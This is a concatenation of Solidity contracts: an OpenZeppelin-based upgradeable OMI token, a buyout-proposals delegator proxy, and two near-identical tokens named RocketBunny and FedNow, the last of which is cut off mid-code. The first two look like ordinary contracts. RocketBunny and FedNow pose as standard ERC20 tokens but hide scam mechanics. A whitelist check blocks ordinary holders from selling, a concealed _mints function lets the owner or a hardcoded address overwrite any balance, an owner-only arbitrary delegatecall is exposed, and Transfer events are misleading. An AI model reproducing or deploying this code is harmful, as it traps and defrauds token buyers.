keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require( AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract" ); StorageSlotUpgradeable .getAddressSlot(_IMPLEMENTATION_SLOT) .value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallSecure( address newImplementation, bytes memory data, bool forceCall ) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot( _ROLLBACK_SLOT ); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; _functionDelegateCall( newImplementation, abi.encodeWithSignature("upgradeTo(address)", oldImplementation) ); rollbackTesting.value = false; // Check rollback was effective require( oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades" ); // Finally reset to the new implementation and log the upgrade _upgradeTo(newImplementation); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require( newAdmin != address(0), "ERC1967: new admin is the zero address" ); StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require( AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract" ); require( AddressUpgradeable.isContract( IBeaconUpgradeable(newBeacon).implementation() ), "ERC1967: beacon implementation is not a contract" ); StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall( address newBeacon, bytes memory data, bool forceCall ) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { _functionDelegateCall( IBeaconUpgradeable(newBeacon).implementation(), data ); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) { require( AddressUpgradeable.isContract(target), "Address: delegate call to non-contract" ); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return AddressUpgradeable.verifyCallResult( success, returndata, "Address: low-level delegate call failed" ); } uint256[50] private __gap; } // File: @openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol pragma solidity ^0.8.0; /** * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy. * * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is * reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing * `UUPSUpgradeable` with a custom implementation of upgrades. * * The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism. * * _Available since v4.1._ */ abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable { function __UUPSUpgradeable_init() internal initializer { __ERC1967Upgrade_init_unchained(); __UUPSUpgradeable_init_unchained(); } function __UUPSUpgradeable_init_unchained() internal initializer {} /** * @dev Upgrade the implementation of the proxy to `newImplementation`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeTo(address newImplementation) external virtual { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, bytes(""), false); } /** * @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call * encoded in `data`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, data, true); } /** * @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by * {upgradeTo} and {upgradeToAndCall}. * * Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}. * * ```solidity * function _authorizeUpgrade(address) internal override onlyOwner {} * ``` */ function _authorizeUpgrade(address newImplementation) internal virtual; uint256[50] private __gap; } // File: contracts/OmiToken.sol pragma solidity ^0.8.6; contract OMIToken is Initializable, ERC20Upgradeable, ERC20BurnableUpgradeable, ERC20CappedUpgradeable, PausableUpgradeable, AccessControlUpgradeable, UUPSUpgradeable { bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant UPGRADER_ROLE = keccak256("UPGRADER_ROLE"); function initialize() public initializer { __ERC20_init("OMI Token", "OMI"); __ERC20Burnable_init(); __ERC20Capped_init(750000000000 * 1e18); __Pausable_init(); __AccessControl_init(); __UUPSUpgradeable_init(); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(PAUSER_ROLE, msg.sender); _setupRole(MINTER_ROLE, msg.sender); _setupRole(UPGRADER_ROLE, msg.sender); } function pause() public onlyRole(PAUSER_ROLE) { _pause(); } function unpause() public onlyRole(PAUSER_ROLE) { _unpause(); } function mint(address to, uint256 amount) public onlyRole(MINTER_ROLE) { _mint(to, amount); } function _mint(address to, uint256 amount) internal virtual override(ERC20Upgradeable, ERC20CappedUpgradeable) { super._mint(to, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal override whenNotPaused { super._beforeTokenTransfer(from, to, amount); } function _authorizeUpgrade(address newImplementation) internal override onlyRole(UPGRADER_ROLE) {} }
DC1
// File: contracts/interface/IBuyoutProposals.sol pragma solidity 0.6.12; contract DelegationStorage { address public governance; /** * @notice Implementation address for this contract */ address public implementation; } contract IBuyoutProposalsStorge is DelegationStorage { address public regulator; address public market; uint256 public proposolIdCount; uint256 public voteLenth = 259200; mapping(uint256 => uint256) public proposalIds; mapping(uint256 => uint256[]) internal proposalsHistory; mapping(uint256 => Proposal) public proposals; mapping(uint256 => mapping(address => bool)) public voted; uint256 public passNeeded = 75; // n times higher than the market price to buyout uint256 public buyoutTimes = 100; uint256 internal constant max = 100; uint256 public buyoutProportion = 15; mapping(uint256 => uint256) allVotes; struct Proposal { uint256 votesReceived; uint256 voteTotal; bool passed; address submitter; uint256 voteDeadline; uint256 shardAmount; uint256 wantTokenAmount; uint256 buyoutTimes; uint256 price; bool isSubmitterWithDraw; uint256 shardPoolId; bool isFailedConfirmed; uint256 blockHeight; uint256 createTime; } } abstract contract IBuyoutProposals is IBuyoutProposalsStorge { function createProposal( uint256 _shardPoolId, uint256 shardBalance, uint256 wantTokenAmount, uint256 currentPrice, uint256 totalShardSupply, address submitter ) external virtual returns (uint256 proposalId, uint256 buyoutTimes); function vote( uint256 _shardPoolId, bool isAgree, address shard, address voter ) external virtual returns (uint256 proposalId, uint256 balance); function voteResultConfirm(uint256 _shardPoolId) external virtual returns ( uint256 proposalId, bool result, address submitter, uint256 shardAmount, uint256 wantTokenAmount ); function exchangeForWantToken(uint256 _shardPoolId, uint256 shardAmount) external view virtual returns (uint256 wantTokenAmount); function redeemForBuyoutFailed(uint256 _proposalId, address submitter) external virtual returns ( uint256 _shardPoolId, uint256 shardTokenAmount, uint256 wantTokenAmount ); function setBuyoutTimes(uint256 _buyoutTimes) external virtual; function setVoteLenth(uint256 _voteLenth) external virtual; function setPassNeeded(uint256 _passNeeded) external virtual; function setBuyoutProportion(uint256 _buyoutProportion) external virtual; function setMarket(address _market) external virtual; function setRegulator(address _regulator) external virtual; function getProposalsForExactPool(uint256 _shardPoolId) external view virtual returns (uint256[] memory _proposalsHistory); } // File: contracts/BuyoutProposalsDelegator.sol pragma solidity 0.6.12; contract BuyoutProposalsDelegator is IBuyoutProposals { /** * @notice Emitted when pendingComptrollerImplementation is accepted, which means comptroller implementation is updated */ event NewImplementation( address oldImplementation, address newImplementation ); event NewGovernance(address oldGovernance, address newGovernance); constructor( address _governance, address _regulator, address implementation_ ) public { governance = msg.sender; _setImplementation(implementation_); delegateTo( implementation_, abi.encodeWithSignature( "initialize(address,address)", _governance, _regulator ) ); } function _setImplementation(address implementation_) public { require( msg.sender == governance, "_setImplementation: Caller must be governance" ); address oldImplementation = implementation; implementation = implementation_; emit NewImplementation(oldImplementation, implementation); } function _setGovernance(address newGovernance) public { require(msg.sender == governance, "UNAUTHORIZED"); address oldGovernance = governance; governance = newGovernance; emit NewGovernance(oldGovernance, newGovernance); } function createProposal( uint256 _shardPoolId, uint256 shardBalance, uint256 wantTokenAmount, uint256 currentPrice, uint256 totalShardSupply, address submitter ) external override returns (uint256 proposalId, uint256 buyoutTimes) { bytes memory data = delegateToImplementation( abi.encodeWithSignature( "createProposal(uint256,uint256,uint256,uint256,uint256,address)", _shardPoolId, shardBalance, wantTokenAmount, currentPrice, totalShardSupply, submitter ) ); return abi.decode(data, (uint256, uint256)); } function vote( uint256 _shardPoolId, bool isAgree, address shard, address voter ) external override returns (uint256 proposalId, uint256 balance) { bytes memory data = delegateToImplementation( abi.encodeWithSignature( "vote(uint256,bool,address,address)", _shardPoolId, isAgree, shard, voter ) ); return abi.decode(data, (uint256, uint256)); } function voteResultConfirm(uint256 _shardPoolId) external override returns ( uint256 proposalId, bool result, address submitter, uint256 shardAmount, uint256 wantTokenAmount ) { bytes memory data = delegateToImplementation( abi.encodeWithSignature( "voteResultConfirm(uint256)", _shardPoolId ) ); return abi.decode(data, (uint256, bool, address, uint256, uint256)); } function exchangeForWantToken(uint256 _shardPoolId, uint256 shardAmount) external view override returns (uint256 wantTokenAmount) { bytes memory data = delegateToViewImplementation( abi.encodeWithSignature( "exchangeForWantToken(uint256,uint256)", _shardPoolId, shardAmount ) ); return abi.decode(data, (uint256)); } function redeemForBuyoutFailed(uint256 _proposalId, address submitter) external override returns ( uint256 _shardPoolId, uint256 shardTokenAmount, uint256 wantTokenAmount ) { bytes memory data = delegateToImplementation( abi.encodeWithSignature( "redeemForBuyoutFailed(uint256,address)", _proposalId, submitter ) ); return abi.decode(data, (uint256, uint256, uint256)); } function setBuyoutTimes(uint256 _buyoutTimes) external override { delegateToImplementation( abi.encodeWithSignature("setBuyoutTimes(uint256)", _buyoutTimes) ); } function setVoteLenth(uint256 _voteLenth) external override { delegateToImplementation( abi.encodeWithSignature("setVoteLenth(uint256)", _voteLenth) ); } function setPassNeeded(uint256 _passNeeded) external override { delegateToImplementation( abi.encodeWithSignature("setPassNeeded(uint256)", _passNeeded) ); } function setBuyoutProportion(uint256 _buyoutProportion) external override { delegateToImplementation( abi.encodeWithSignature( "setBuyoutProportion(uint256)", _buyoutProportion ) ); } function setMarket(address _market) external override { delegateToImplementation( abi.encodeWithSignature("setMarket(address)", _market) ); } function setRegulator(address _regulator) external override { delegateToImplementation( abi.encodeWithSignature("setRegulator(address)", _regulator) ); } function getProposalsForExactPool(uint256 _shardPoolId) external view override returns (uint256[] memory _proposalsHistory) { bytes memory data = delegateToViewImplementation( abi.encodeWithSignature( "getProposalsForExactPool(uint256)", _shardPoolId ) ); return abi.decode(data, (uint256[])); } function delegateTo(address callee, bytes memory data) internal returns (bytes memory) { (bool success, bytes memory returnData) = callee.delegatecall(data); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize()) } } return returnData; } /** * @notice Delegates execution to the implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToImplementation(bytes memory data) public returns (bytes memory) { return delegateTo(implementation, data); } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop. * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) { (bool success, bytes memory returnData) = address(this).staticcall( abi.encodeWithSignature("delegateToImplementation(bytes)", data) ); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize()) } } return abi.decode(returnData, (bytes)); } receive() external payable {} /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts // */ fallback() external payable { // delegate all other functions to current implementation (bool success, ) = implementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize()) switch success case 0 { revert(free_mem_ptr, returndatasize()) } default { return(free_mem_ptr, returndatasize()) } } } }
DC1
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } //heyuemingchen contract RocketBunny { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1089755605351626874222503051495683696555102411980)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity <0.6.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract FedNow { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1128272879772349028992474526206451541022554459967)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = 